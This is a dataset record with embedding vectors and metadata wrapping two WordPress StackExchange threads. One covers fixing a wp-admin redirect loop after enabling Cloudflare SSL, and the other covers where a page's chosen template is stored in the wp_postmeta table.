0.0182647705078125, 0.024749755859375, 0.01568603515625, 0.0204925537109375, 0.052154541015625, -0.0411376953125, 0.038848876953125, -0.02618408203125, 0.019012451171875, 0.0299530029296875, 0.0243682861328125, 0.01073455810546875, -0.0150146484375, -0.028106689453125, -0.04241943359375, -0.00655364990234375, 0.0227508544921875, 0.017242431640625, -0.0010986328125, 0.0902099609375, 0.053924560546875, -0.0787353515625, -0.01302337646484375, -0.0538330078125, 0.0635986328125, -0.0362548828125, 0.0258331298828125, -0.02001953125, 0.02081298828125, 0.076416015625, -0.03790283203125, 0.004558563232421875, 0.05126953125, -0.042144775390625, 0.0772705078125, 0.0220794677734375, 0.02679443359375, -0.061279296875, -0.0075836181640625, 0.03741455078125, 0.07781982421875, -0.060791015625, -0.01629638671875, 0.006755828857421875, -0.0148773193359375, -0.00827789306640625, -0.0191192626953125, -0.014434814453125, 0.04620361328125, 0.038543701171875, -0.0199432373046875, -0.040069580078125, 0.01544189453125, 0.0621337890625, 0.003940582275390625, 0.0165557861328125, -0.0268402099609375, -0.08935546875, 0.001247406005859375, -0.01433563232421875, 0.0276031494140625, 0.036346435546875, -0.005313873291015625, 0.047088623046875, -0.03802490234375, 0.0055084228515625, -0.0003838539123535156, 0.025909423828125, -0.00799560546875, 0.004566192626953125, -0.0172576904296875, -0.0254364013671875, 0.002628326416015625, 0.0181732177734375, 0.00797271728515625, -0.0172882080078125, 0.00893402099609375, 0.0416259765625, 0.0222015380859375, -0.03192138671875, 0.0189208984375, 0.0010499954223632812, 0.0027599334716796875, -0.0288848876953125, -0.002094268798828125, -0.001682281494140625, -0.00605010986328125, 0.0034637451171875, 0.0430908203125, 0.0036029815673828125, 0.0159149169921875, 0.015960693359375, 0.0196990966796875, -0.023040771484375, 0.0404052734375, 0.0088348388671875, 0.048370361328125, 0.032989501953125, -0.09197998046875, -0.0026149749755859375, -0.0201416015625, -0.0180511474609375, 0.01678466796875, 0.024688720703125, -0.0274658203125, 0.0256500244140625, -0.003490447998046875, 0.0192413330078125, 0.0195465087890625, -0.03265380859375, 0.01108551025390625, 0.035552978515625, 0.0301361083984375, 0.0274810791015625, -0.03240966796875, -0.058685302734375, 0.0014553070068359375, 0.0609130859375, 0.01221466064453125, 0.03131103515625, -0.0021610260009765625, 0.028533935546875, 0.005870819091796875, 0.025970458984375, -0.044097900390625, -0.005092620849609375, 0.03857421875, -0.0171661376953125, 0.005733489990234375, -0.01068878173828125, -0.0760498046875, 0.0284423828125, 0.0308380126953125, -0.01708984375, 0.01593017578125, 0.00634002685546875, 0.007778167724609375, -0.01493072509765625, -0.01222991943359375, -0.025360107421875, 0.0308685302734375, 0.020782470703125, -0.033172607421875, 0.026123046875, -0.038330078125, -0.01015472412109375, 0.0406494140625, 0.01160430908203125, -0.0533447265625, 0.029205322265625, -0.052032470703125, 0.04901123046875, 0.036468505859375, -0.00023472309112548828, -0.039398193359375, 0.00496673583984375, -0.0096588134765625, -0.0050201416015625, 0.01043701171875, 0.01166534423828125, 0.02178955078125, -0.0120697021484375, -0.022216796875, -0.00574493408203125, 0.0274200439453125, -0.030426025390625, 0.006938934326171875, -0.0161895751953125, 0.0175933837890625, 0.0188446044921875, -0.034698486328125, -0.0238037109375, -0.040679931640625, 0.0107269287109375, 0.0304107666015625, 0.01446533203125, -0.0139007568359375, -0.0111236572265625, -0.01004791259765625, 0.0026092529296875, 0.006877899169921875, -0.0296478271484375, 0.033233642578125, -0.0372314453125, -0.011871337890625, -0.0255279541015625, -0.0007433891296386719, 0.01560211181640625, 0.0087127685546875, -0.04150390625, 0.02215576171875, -0.025177001953125, -0.0228729248046875, 0.0081634521484375, 0.01152801513671875, 0.0210113525390625, -0.0311737060546875, 0.004566192626953125, 0.01389312744140625, 0.0038967132568359375, 0.060821533203125, 0.04852294921875, 0.0032196044921875, 0.0267791748046875, 0.0157928466796875, -0.019195556640625, -0.0853271484375, -0.0121612548828125, -0.0278778076171875, 0.032470703125, 0.00667572021484375, -0.003635406494140625, 0.0242919921875, -0.0197906494140625, -0.037506103515625, 0.0223388671875, 0.00014293193817138672, -0.04083251953125, -0.050140380859375, 0.00856781005859375, -0.00638580322265625, -0.0170745849609375, -0.01215362548828125, -0.0159759521484375, -0.01554107666015625, 0.037750244140625, 0.0303192138671875, 0.032073974609375, 0.023681640625, 0.0189056396484375, -0.0292205810546875, 0.044036865234375, 0.0209197998046875, 0.01378631591796875, 0.011993408203125, -0.0014524459838867188, 0.01308441162109375, 0.0291900634765625, -0.036773681640625, -0.02130126953125, -0.00214385986328125, 0.0024967193603515625, -0.00191497802734375, -0.007389068603515625, -0.026641845703125, -0.01282501220703125, 0.0704345703125, 0.044464111328125, 0.02618408203125, -0.0289154052734375, 0.0100860595703125, -0.00624847412109375, -0.044586181640625, 0.0007052421569824219, 0.0154571533203125, -0.0367431640625, 0.00835418701171875, -0.00710296630859375, -0.0261688232421875, -0.0260772705078125, -0.006855010986328125, -0.0546875, -0.007427215576171875, -0.03778076171875, 0.0132293701171875, -0.0711669921875, 0.003459930419921875, 0.005374908447265625, -0.028045654296875, -0.0311431884765625, 0.01137542724609375, -0.005123138427734375, -0.043487548828125, 0.0195465087890625, 0.00571441650390625, 0.06109619140625, -0.042877197265625, -0.0135040283203125, 0.0165863037109375, 0.01898193359375, -0.015655517578125, 0.01751708984375, -0.0013856887817382812, 0.0299530029296875, -0.00701141357421875, 0.0113067626953125, -0.0090179443359375, 0.03363037109375, 0.00856781005859375, 0.0606689453125, 0.005199432373046875, 0.094482421875, 0.00603485107421875, 0.034881591796875, 0.024261474609375, -0.02691650390625, 0.042449951171875, -0.032745361328125, 0.006282806396484375, 0.0012235641479492188, -0.03521728515625, -0.04534912109375, 0.0115966796875, 0.020782470703125, 0.00225830078125, 0.0199127197265625 ]
0ec947365d635238eb13cd9bb2eb5378653ec741
Wordpress Stackexchange Q: "Too many redirects" ONLY when trying to access wp-admin page I figured I would ask my own question seeing as the duplicate question(s) still haven't been answered. For some reason after my fresh install of Wordpress 4.9.1 on my Ubuntu VPS, enabling my "flexible" SSL issued by Cloudflare, and finally switching my URLs in Wordpress (from "https://foo.com" to "https://foo.com") I can no longer access my admin panel. Attempted Fix #1: Clearing browser(s) cookies, cache, and saved data, as well as any Cloudflare caches. Attempted Fix #2: Modifying wp-config.php with the code: define('WP_HOME' , 'https://foo.com'); define('WP_SITEURL' , 'https://foo.com'); Attempted Fix #3: Disabling .htaccess file in /var/www/html/ None of the above has worked and unfortunately I still cannot access the admin panel. However, the default wordpress homepage loads just fine at the correct secure, "https" URL. A: I found a solution that fixed my issue. Sources: A.) https://sharpten.com/blog/2018/01/17/wordpress-stuck-many-redirects-error-loop-using-ssl.html B.) (Sublink within A) https://wordpress.org/support/article/administration-over-ssl/ Excerpt: Adding the following lines of code at the end of my wp-config.php file resolved the redirect conflict. if (strpos($_SERVER['HTTP_X_FORWARDED_PROTO'], 'https') !== false) $_SERVER['HTTPS']='on';
Q: "Too many redirects" ONLY when trying to access wp-admin page I figured I would ask my own question seeing as the duplicate question(s) still haven't been answered. For some reason after my fresh install of Wordpress 4.9.1 on my Ubuntu VPS, enabling my "flexible" SSL issued by Cloudflare, and finally switching my URLs in Wordpress (from "https://foo.com" to "https://foo.com") I can no longer access my admin panel. Attempted Fix #1: Clearing browser(s) cookies, cache, and saved data, as well as any Cloudflare caches. Attempted Fix #2: Modifying wp-config.php with the code: define('WP_HOME' , 'https://foo.com'); define('WP_SITEURL' , 'https://foo.com'); Attempted Fix #3: Disabling .htaccess file in /var/www/html/ None of the above has worked and unfortunately I still cannot access the admin panel. However, the default wordpress homepage loads just fine at the correct secure, "https" URL. A: I found a solution that fixed my issue. Sources: A.) https://sharpten.com/blog/2018/01/17/wordpress-stuck-many-redirects-error-loop-using-ssl.html B.) (Sublink within A) https://wordpress.org/support/article/administration-over-ssl/ Excerpt: Adding the following lines of code at the end of my wp-config.php file resolved the redirect conflict. if (strpos($_SERVER['HTTP_X_FORWARDED_PROTO'], 'https') !== false) $_SERVER['HTTPS']='on'; A: Put this code in wp-config.php in the first line inside the PHP tag. if($_SERVER['PHP_SELF']=="/index.php") { define('WP_HOME','https://yourdomain.com'); define('WP_SITEURL','https://yourdomain.com'); } else { define('WP_HOME','http://yourdomain.com'); define('WP_SITEURL','http://yourdomain.com'); } But don't forget to replace your site URL in the place of yourdomain.com A: Somehow, our wp-admin folder permissions was set to 777, which means everyone can read, write or execute to this folder. We logged onto the server, and found an error saying "wp-admin cannot be writable by group." We changed our permissions so the folder was not writable by group or world (755), and the admin area was immediately accessible. (This permissions change did happen seemingly randomly for us. Our website's team didn't even have access to the server at the time wp-admin just stopped working and we still don't know how this setting was changed. The site had been up for several years beforehand.) A: I used the above answer by Matt and added one else case as well: if (strpos($_SERVER['HTTP_X_FORWARDED_PROTO'], 'https') !== false) $_SERVER['HTTPS']='on'; else $_SERVER['HTTPS']='off'; It worked. I had also placed it at the beginning of the wp-config.php A: I had the 'Too many redirects' on wp-admin only after migrating to a new server. The problem was incorrect permissions on the folder wp-admin plus the top-level files within it. Resetting the permissions fixed the issue. Hope that is of help to anyone who needs it. A: In my case it was Apache's DirectoryIndex issue. The wp-admin was being accessed by wp-admin/index.php but not with wp-admin and showing ERR_TOO_MANY_REDIRECTS. It sounds like Apache's DirectoryIndex may be set "incorrectly". Try resetting this at the top of your .htaccess file: DirectoryIndex index.php See the full answer here. Can't access admin dashboard with wp-admin without /index.php after it
wordpress
{ "language": "en", "length": 459, "provenance": "stackexchange_00019.jsonl.gz:486000", "question_score": "25", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/302965" }
[ 0.029632568359375, 0.01499176025390625, 0.0109405517578125, -0.0010824203491210938, 0.0252532958984375, -0.0261383056640625, 0.037384033203125, -0.049835205078125, 0.01061248779296875, 0.0006604194641113281, 0.0259857177734375, -0.0229644775390625, -0.006572723388671875, -0.052825927734375, -0.00191497802734375, -0.00655364990234375, 0.022918701171875, -0.0248565673828125, 0.0060882568359375, -0.016357421875, -0.002490997314453125, -0.01141357421875, 0.033721923828125, 0.00897216796875, -0.0007772445678710938, -0.0259246826171875, 0.06463623046875, -0.034515380859375, -0.012969970703125, -0.032806396484375, 0.0007677078247070312, 0.02532958984375, 0.02716064453125, 0.054779052734375, -0.091796875, -0.070068359375, -0.02532958984375, 0.0241851806640625, -0.0379638671875, 0.0263519287109375, 0.0026912689208984375, 0.0073089599609375, 0.085205078125, 0.0535888671875, 0.01261138916015625, -0.029327392578125, 0.01202392578125, -0.057403564453125, -0.009033203125, 0.01456451416015625, 0.0201416015625, -0.0242767333984375, 0.0213470458984375, 0.0093536376953125, -0.0039215087890625, 0.00374603271484375, 0.0297088623046875, -0.0203399658203125, 0.0133819580078125, -0.04473876953125, -0.0280609130859375, 0.0091400146484375, 0.0283050537109375, 0.00907135009765625, -0.0187225341796875, 0.0017938613891601562, 0.01029205322265625, 0.0079498291015625, -0.0526123046875, -0.02587890625, 0.007518768310546875, -0.020660400390625, -0.007965087890625, -0.018310546875, 0.0079345703125, 0.0199127197265625, 0.011138916015625, 0.03448486328125, 0.0107574462890625, 0.01419830322265625, 0.015380859375, -0.0126953125, -0.0333251953125, 0.00832366943359375, -0.01421356201171875, 0.029296875, -0.01386260986328125, -0.0176849365234375, 0.006702423095703125, 0.005664825439453125, -0.01010894775390625, -0.027679443359375, 0.04339599609375, 0.0146331787109375, -0.01406097412109375, -0.026275634765625, -0.00026988983154296875, -0.01161956787109375, -0.0034694671630859375, -0.0254364013671875, -0.014068603515625, -0.0164642333984375, -0.0298004150390625, 0.00394439697265625, -0.0008974075317382812, 0.03228759765625, 0.01294708251953125, 0.08148193359375, 0.053863525390625, 0.03192138671875, 0.0188751220703125, -0.0157318115234375, -0.03167724609375, -0.02716064453125, -0.01369476318359375, 0.0411376953125, -0.0282745361328125, -0.021331787109375, -0.0261688232421875, 0.015655517578125, -0.028167724609375, 0.009307861328125, -0.0249786376953125, -0.0041046142578125, -0.0070343017578125, -0.019256591796875, 0.01110076904296875, -0.01296234130859375, 0.005023956298828125, 0.0103759765625, -0.0313720703125, 0.01300048828125, 0.0484619140625, 0.0260467529296875, -0.0052947998046875, -0.0074462890625, 0.0330810546875, -0.01837158203125, -0.0198974609375, 0.031951904296875, 0.01386260986328125, -0.06634521484375, -0.057525634765625, 0.00637054443359375, 0.060577392578125, 0.02935791015625, 0.01226806640625, 0.0182037353515625, 0.022979736328125, -0.0267791748046875, 0.0164947509765625, 0.0033969879150390625, 0.0640869140625, 0.00814056396484375, -0.0241851806640625, -0.037139892578125, 0.025299072265625, -0.034759521484375, -0.0228424072265625, -0.061248779296875, 0.00534820556640625, -0.00557708740234375, 0.005352020263671875, -0.0135498046875, -0.028228759765625, -0.00988006591796875, -0.0206146240234375, -0.004184722900390625, 0.02752685546875, 0.0033779144287109375, 0.020416259765625, 0.009063720703125, 0.013763427734375, 0.005290985107421875, -0.00360107421875, 0.00234222412109375, -0.01503753662109375, 0.016754150390625, 0.03594970703125, 0.046173095703125, 0.0286407470703125, -0.0212860107421875, 0.058929443359375, 0.0009794235229492188, -0.0565185546875, 0.0247955322265625, -0.020233154296875, 0.043426513671875, 0.035675048828125, -0.0117645263671875, -0.01021575927734375, 0.0036830902099609375, -0.023406982421875, 0.031585693359375, -0.043060302734375, -0.05401611328125, 0.00844573974609375, 0.00800323486328125, -0.0102996826171875, 0.010406494140625, -0.003269195556640625, 0.0028076171875, 0.000213623046875, 0.0140838623046875, 0.0252227783203125, -0.012298583984375, 0.01195526123046875, 0.0031986236572265625, 0.01428985595703125, 0.034271240234375, 0.01306915283203125, -0.0017156600952148438, -0.00736236572265625, -0.006595611572265625, -0.0128326416015625, 0.01454925537109375, -0.03851318359375, 0.043365478515625, -0.006801605224609375, 0.032135009765625, 0.0034503936767578125, -0.06878662109375, 0.0012712478637695312, -0.0217742919921875, 0.0296478271484375, 0.00994873046875, -0.026458740234375, 0.0038738250732421875, 0.032073974609375, 0.00885772705078125, -0.00991058349609375, 0.031768798828125, 0.004489898681640625, 0.0198822021484375, -0.03857421875, -0.00786590576171875, -0.016632080078125, -0.037200927734375, 0.0074920654296875, 0.03399658203125, 0.047271728515625, -0.00432586669921875, -0.049285888671875, -0.07794189453125, 0.016876220703125, -0.10833740234375, -0.01364898681640625, -0.02752685546875, -0.006805419921875, -0.01434326171875, 0.019287109375, 0.007293701171875, 0.0191650390625, -0.038970947265625, 0.024932861328125, 0.03240966796875, 0.0027332305908203125, -0.00644683837890625, -0.0311737060546875, -0.004116058349609375, 0.03509521484375, -0.04864501953125, -0.0877685546875, 0.0035858154296875, -0.02337646484375, -0.03631591796875, -0.0163726806640625, -0.0177764892578125, 0.00809478759765625, -0.049041748046875, 0.0242919921875, -0.04913330078125, -0.0234375, -0.0182647705078125, 0.07330322265625, -0.049407958984375, -0.060211181640625, 0.035675048828125, 0.00145721435546875, -0.026580810546875, -0.01519012451171875, 0.01617431640625, -0.05523681640625, -0.00585174560546875, -0.02679443359375, -0.04425048828125, 0.00583648681640625, 0.040679931640625, 0.01050567626953125, 0.018341064453125, 0.04779052734375, 0.0069732666015625, -0.007045745849609375, 0.022186279296875, -0.007617950439453125, -0.01837158203125, 0.035614013671875, -0.034027099609375, 0.026824951171875, -0.00455474853515625, 0.096923828125, 0.073974609375, -0.0022258758544921875, 0.02777099609375, 0.00893402099609375, 0.005542755126953125, 0.019287109375, -0.015472412109375, -0.0300750732421875, 0.00762939453125, -0.0733642578125, 0.00031113624572753906, 0.043365478515625, 0.0057220458984375, 0.03643798828125, -0.024200439453125, 0.004207611083984375, 0.035400390625, -0.071533203125, -0.07806396484375, -0.07818603515625, -0.0207366943359375, 0.002841949462890625, 0.034332275390625, 0.0139007568359375, 0.006870269775390625, 0.038055419921875, 0.032501220703125, 0.0075225830078125, -0.017333984375, -0.06121826171875, -0.056549072265625, -0.08294677734375, -0.0391845703125, -0.006969451904296875, 0.0312042236328125, -0.00705718994140625, 0.036590576171875, -0.017974853515625, -0.038482666015625, -0.038970947265625, 0.000013053417205810547, -0.0030498504638671875, -0.03533935546875, -0.06951904296875, -0.003078460693359375, 0.043212890625, 0.0031070709228515625, 0.016448974609375, -0.0179443359375, 0.0494384765625, -0.01393890380859375, -0.00652313232421875, -0.031524658203125, 0.0030574798583984375, -0.044189453125, -0.0229034423828125, -0.0216064453125, -0.0114593505859375, -0.0479736328125, 0.028167724609375, 0.005123138427734375, -0.007663726806640625, -0.0163116455078125, -0.01031494140625, -0.03466796875, 0.0309906005859375, -0.047454833984375, 0.01099395751953125, 0.0218505859375, 0.0124664306640625, -0.012542724609375, 0.047332763671875, -0.024200439453125, -0.006977081298828125, -0.049102783203125, 0.031494140625, -0.0155792236328125, -0.018341064453125, -0.0044097900390625, -0.0219879150390625, -0.01474761962890625, -0.0068817138671875, -0.0257720947265625, -0.0928955078125, 0.0499267578125, -0.06829833984375, -0.007472991943359375, -0.0653076171875, -0.032562255859375, -0.029693603515625, 0.1094970703125, -0.0361328125, 0.021270751953125, 0.0277557373046875, 0.007678985595703125, -0.0167236328125, 0.0007061958312988281, -0.085205078125, -0.0092620849609375, -0.07452392578125, 0.004039764404296875, -0.006717681884765625, -0.0322265625, -0.0023097991943359375, -0.06561279296875, -0.0281982421875, -0.05364990234375, 0.0309600830078125, -0.01468658447265625, -0.0014972686767578125, -0.00672149658203125, -0.007190704345703125, -0.04388427734375, -0.00286102294921875, -0.021240234375, -0.11004638671875, -0.034637451171875, 0.03143310546875, 0.08685302734375, -0.0293426513671875, 0.02227783203125, -0.0085906982421875, 0.08062744140625, 0.0110931396484375, 0.02899169921875, 0.017120361328125, -0.0223388671875, 0.04217529296875, 0.023223876953125, 0.0269622802734375, 0.0006556510925292969, -0.0086669921875, -0.020660400390625, -0.03955078125, -0.0202789306640625, -0.0311126708984375, -0.0283355712890625, 0.016937255859375, -0.033782958984375, -0.04571533203125, -0.0224151611328125, -0.026214599609375, 0.01318359375, -0.0088653564453125, -0.0092926025390625, -0.03350830078125, -0.07220458984375, 0.05938720703125, -0.026580810546875, -0.02398681640625, 0.00484466552734375, 0.039459228515625, -0.0018720626831054688, -0.0301361083984375, -0.00797271728515625, 0.0072784423828125, 0.0115203857421875, 0.003978729248046875, 0.0802001953125, 0.0149688720703125, 0.02655029296875, 0.06573486328125, -0.0257568359375, -0.011688232421875, 0.02740478515625, -0.0341796875, 0.02294921875, -0.0230712890625, -0.00896453857421875, 0.01062774658203125, 0.01270294189453125, 0.054351806640625, 0.031158447265625, -0.007099151611328125, -0.0173187255859375, -0.0234832763671875, 0.032989501953125, -0.045867919921875, 0.0005159378051757812, -0.0340576171875, 0.023193359375, -0.0391845703125, 0.06365966796875, 0.02978515625, 0.0069580078125, 0.051513671875, 0.053375244140625, -0.0134429931640625, -0.024505615234375, -0.022796630859375, -0.00878143310546875, 0.0263824462890625, -0.0251007080078125, -0.024139404296875, 0.003299713134765625, -0.0142364501953125, 0.08795166015625, 0.0242462158203125, -0.07452392578125, 0.03485107421875, -0.01214599609375, -0.030181884765625, 0.015655517578125, 0.01052093505859375, 0.042572021484375, -0.0135955810546875, -0.006988525390625, -0.0254974365234375, -0.01366424560546875, -0.04339599609375, -0.0556640625, 0.049652099609375, -0.0006270408630371094, 0.0175018310546875, 0.012786865234375, 0.08917236328125, 0.040496826171875, 0.0404052734375, -0.0270233154296875, -0.005382537841796875, 0.025482177734375, 0.005672454833984375, 0.01079559326171875, 0.019195556640625, 0.01275634765625, -0.0111236572265625, 0.0594482421875, -0.039398193359375, -0.049041748046875, 0.025360107421875, 0.06500244140625, 0.031768798828125, 0.007350921630859375, -0.01471710205078125, -0.0152740478515625, -0.01093292236328125, 0.05078125, 0.006099700927734375, -0.05426025390625, -0.0251007080078125, -0.01123046875, 0.0226898193359375, -0.0245513916015625, -0.045166015625, 0.042022705078125, -0.052093505859375, 0.044097900390625, 0.01401519775390625, -0.02178955078125, -0.0007004737854003906, -0.0021343231201171875, -0.02099609375, -0.014892578125, 0.0044097900390625, -0.044097900390625, -0.0036411285400390625, -0.0247802734375, -0.018310546875, 0.040985107421875, -0.0069427490234375, -0.0129547119140625, 0.02447509765625, -0.0146942138671875, 0.0111541748046875, 0.0221405029296875, 0.01444244384765625, -0.031463623046875, -0.0247039794921875, -0.01512908935546875, -0.027008056640625, -0.01291656494140625, 0.018798828125, 0.003177642822265625, -0.0198974609375, -0.00417327880859375, 0.0212860107421875, 0.0194854736328125, 0.00861358642578125, -0.01525115966796875, -0.0419921875, 0.01415252685546875, 0.0256500244140625, 0.03790283203125, -0.0074462890625, 0.031463623046875, 0.0019512176513671875, 0.02288818359375, -0.0034027099609375, 0.01385498046875, -0.015838623046875, -0.0140380859375, 0.035888671875, -0.0675048828125, -0.0267791748046875, -0.041015625, -0.0123443603515625, 0.021820068359375, 0.0281219482421875, -0.015716552734375, -0.01290130615234375, 0.004924774169921875, 0.01995849609375, -0.014495849609375, -0.01065826416015625, 0.02154541015625, -0.0192718505859375, 0.0295867919921875, 0.041595458984375, 0.040069580078125, -0.049530029296875, -0.018341064453125, 0.006702423095703125, 0.01410675048828125, -0.00315093994140625, -0.004207611083984375, -0.0115814208984375, -0.004405975341796875, 0.056884765625, 0.0031909942626953125, 0.04498291015625, 0.0281829833984375, 0.01494598388671875, 0.031280517578125, 0.00913238525390625, -0.03302001953125, 0.00969696044921875, 0.02978515625, -0.0081329345703125, -0.029815673828125, 0.00836944580078125, -0.024261474609375, 0.01274871826171875, 0.07867431640625, 0.06854248046875, -0.08831787109375, -0.0152130126953125, 0.0169677734375, -0.0318603515625, 0.01120758056640625, 0.0019893646240234375, -0.00690460205078125, -0.0201568603515625, -0.0081634521484375, 0.002094268798828125, -0.0212860107421875, -0.0108184814453125, 0.029205322265625, -0.004261016845703125, -0.0156707763671875, 0.0294036865234375, -0.0163421630859375, -0.05450439453125, -0.00839996337890625, 0.023193359375, -0.01520538330078125, 0.023193359375, -0.003086090087890625, 0.01531219482421875, -0.035247802734375, -0.054962158203125, -0.01496124267578125, -0.04937744140625, -0.02642822265625, -0.0015544891357421875, 0.032012939453125, 0.022918701171875, 0.0858154296875, 0.0009765625, 0.01023101806640625, 0.049346923828125, -0.0005435943603515625, 0.0460205078125, -0.01806640625, -0.00222015380859375, -0.01763916015625, -0.052642822265625, 0.0049285888671875, -0.0239105224609375, -0.009979248046875, -0.005283355712890625, -0.0011968612670898438, 0.047454833984375, -0.01416778564453125, -0.016265869140625, 0.04693603515625, -0.00563812255859375, -0.035369873046875, 0.012786865234375, 0.0226593017578125, -0.035003662109375, -0.01117706298828125, 0.008697509765625, -0.036895751953125, -0.0027103424072265625, 0.002765655517578125, -0.03900146484375, 0.0858154296875, 0.00672149658203125, 0.028778076171875, 0.0241851806640625, 0.0269622802734375, -0.0261993408203125, 0.0311279296875, 0.018768310546875, 0.041107177734375, 0.039459228515625, -0.038330078125, -0.00574493408203125, -0.0151519775390625, -0.0157470703125, 0.06634521484375, 0.06146240234375, 0.0168304443359375, -0.080322265625, 0.01666259765625, 0.068603515625, 0.0254364013671875, 0.0181121826171875, 0.0712890625, -0.0088653564453125, 0.01302337646484375, 0.048309326171875, -0.042205810546875, 0.031402587890625, -0.0030059814453125, -0.0084991455078125, -0.004730224609375, 0.024139404296875, 0.00016319751739501953, 0.01319122314453125, 0.007442474365234375, -0.059967041015625, 0.034027099609375, 0.038665771484375, -0.004421234130859375, 0.005924224853515625, -0.0253753662109375, -0.04058837890625, -0.01398468017578125, 0.023040771484375, -0.029510498046875, 0.01546478271484375, -0.01491546630859375, -0.0286407470703125, -0.028900146484375, -0.01496124267578125, 0.01470184326171875, -0.004680633544921875, -0.0272064208984375, 0.048675537109375, -0.010009765625, 0.03546142578125, 0.0194244384765625, 0.0233001708984375, -0.0271148681640625, 0.0300750732421875, 0.00848388671875, 0.053497314453125, -0.046173095703125, -0.042572021484375, -0.0033721923828125, -0.006816864013671875, 0.0208282470703125, 0.01033782958984375, 0.0206146240234375, -0.01043701171875, -0.002994537353515625, -0.00403594970703125, 0.0031642913818359375, 0.037689208984375, -0.0194854736328125, -0.0007495880126953125, 0.0278167724609375, -0.01111602783203125, 0.03717041015625, -0.0323486328125, -0.04034423828125, 0.019989013671875, 0.0635986328125, 0.04473876953125, 0.021942138671875, 0.0186767578125, -0.030914306640625, -0.01084136962890625, 0.028594970703125, 0.006000518798828125, -0.0110321044921875, -0.021240234375, -0.0413818359375, 0.0167999267578125, 0.042877197265625, 0.0074615478515625, -0.0134735107421875, 0.00373077392578125, 0.037109375, 0.029571533203125, -0.0165863037109375, 0.0259552001953125, 0.0029735565185546875, 0.0265045166015625, -0.05084228515625, 0.007381439208984375, -0.038330078125, -0.0185394287109375, -0.01209259033203125, 0.0035800933837890625, 0.0122222900390625, 0.0380859375, 0.01537322998046875, 0.00910186767578125, 0.0022106170654296875, 0.0182952880859375, 0.0099334716796875, 0.013275146484375, 0.056304931640625, -0.023040771484375, -0.023712158203125, 0.01085662841796875, -0.0167083740234375, 0.027862548828125, 0.034423828125, -0.00652313232421875, 0.0018396377563476562, -0.0013818740844726562, -0.04437255859375, 0.02777099609375, 0.026519775390625, -0.0028362274169921875, 0.02093505859375, 0.0029048919677734375, -0.02008056640625, -0.022491455078125, 0.017730712890625, 0.0070343017578125, -0.0017995834350585938, -0.0005397796630859375, 0.091064453125, -0.0308837890625, 0.00005227327346801758, -0.0162506103515625, -0.037567138671875, 0.03778076171875, 0.009002685546875, -0.032073974609375, 0.0287322998046875, -0.0017948150634765625, -0.018951416015625, -0.074462890625, 0.03253173828125, 0.0133514404296875, -0.0238494873046875, 0.03936767578125, 0.017669677734375, -0.00012743473052978516, -0.042938232421875, -0.0027599334716796875, -0.042144775390625, -0.07659912109375, -0.06597900390625, 0.023162841796875, -0.0028438568115234375, 0.01393890380859375, -0.00801849365234375, 0.0457763671875, -0.007221221923828125, 0.0211639404296875, -0.00017380714416503906, -0.0115966796875, -0.041748046875, 0.01226043701171875, -0.0156097412109375, -0.029083251953125, 0.000980377197265625, -0.0090484619140625, -0.0033130645751953125, 0.0024623870849609375, 0.018402099609375, -0.01369476318359375, 0.01343536376953125, -0.046356201171875, 0.01187896728515625, -0.0104522705078125, -0.0143585205078125, 0.0004291534423828125, 0.0229644775390625, -0.042510986328125, -0.0263824462890625, 0.00760650634765625, 0.0091400146484375, 0.00490570068359375, -0.04266357421875, -0.01416015625, -0.01268768310546875, -0.06549072265625, -0.01763916015625, 0.000056684017181396484, 0.018402099609375, -0.01068115234375, -0.00616455078125, 0.00579071044921875, -0.051239013671875, 0.00923919677734375, -0.0080718994140625, 0.056732177734375, 0.0169677734375, 0.05316162109375, -0.04364013671875, -0.01523590087890625, -0.008514404296875, 0.0229644775390625, -0.042816162109375, -0.02850341796875, 0.00007551908493041992, 0.0078887939453125, -0.0167388916015625, -0.040802001953125, -0.021484375, 0.0113983154296875, -0.02008056640625, 0.00962066650390625, 0.016937255859375, -0.00045037269592285156, -0.0478515625, -0.0557861328125, 0.0209197998046875, -0.042205810546875, -0.0258331298828125, -0.005767822265625, 0.0221099853515625, 0.01885986328125, -0.048065185546875, -0.1026611328125, 0.046173095703125, -0.02508544921875, -0.02264404296875, -0.048553466796875, -0.0204010009765625, -0.0236358642578125, 0.047210693359375, -0.00354766845703125, -0.04852294921875, -0.02508544921875, 0.04742431640625, 0.0328369140625, 0.01486968994140625, -0.0016603469848632812, 0.033660888671875, 0.0081787109375, 0.05841064453125, 0.055816650390625, 0.0098724365234375, -0.00801849365234375, -0.0033473968505859375, 0.037933349609375, 0.06683349609375, 0.0052642822265625, -0.021759033203125, 0.0219573974609375, -0.066650390625, 0.026641845703125, -0.0278472900390625, -0.035552978515625, -0.051422119140625, -0.0233917236328125, 0.0297698974609375, 0.0032901763916015625, 0.01288604736328125, -0.048675537109375, -0.0199432373046875, -0.00844573974609375, -0.0258636474609375, 0.01035308837890625, -0.04644775390625, 0.016021728515625, -0.0338134765625, 0.00827789306640625, 0.0025920867919921875, 0.0312042236328125, -0.0012006759643554688, -0.0105743408203125, 0.04425048828125, -0.03594970703125, 0.00656890869140625, 0.01387786865234375, 0.03765869140625, -0.0285491943359375, 0.006103515625, -0.01375579833984375, 0.0165252685546875, -0.00125885009765625, -0.0125732421875, 0.004352569580078125, 0.0195159912109375, -0.024871826171875, 0.00801849365234375, 0.0006103515625, 0.00907135009765625, -0.04345703125, -0.01462554931640625, -0.01052093505859375, 0.0020389556884765625, 0.000020563602447509766, 0.01145172119140625, -0.006862640380859375, -0.0223541259765625, -0.01837158203125, 0.0445556640625, 0.0208282470703125, 0.008056640625, 0.01383209228515625, 0.043426513671875, 0.01678466796875, -0.0391845703125, 0.0232391357421875, -0.031524658203125, 0.01184844970703125, 0.030181884765625, 0.00733184814453125, 0.010955810546875, -0.02178955078125, -0.050537109375, 0.0124053955078125, -0.0084228515625 ]
752345fef8bfb4ef2effe6a021877268b2e89ea2
Wordpress Stackexchange Q: Where is custom template file chosen for a post stored in the DB? Where is the custom template file that has been selected through the wordpress edit screen (for a post or page) stored in the wordpress database? A: It's in the post meta table (usually wp_postmeta), with the page id in post_id, meta_key with _wp_page_template and meta_value with the template file name.
Q: Where is custom template file chosen for a post stored in the DB? Where is the custom template file that has been selected through the wordpress edit screen (for a post or page) stored in the wordpress database? A: It's in the post meta table (usually wp_postmeta), with the page id in post_id, meta_key with _wp_page_template and meta_value with the template file name. A: Example select query: SELECT * FROM wp_postmeta WHERE meta_key = '_wp_page_template' # AND post_id = 50 Example update query: UPDATE wp_postmeta SET meta_value = 'templates/template-example.php' WHERE meta_key = '_wp_page_template' AND post_id = 50;
wordpress
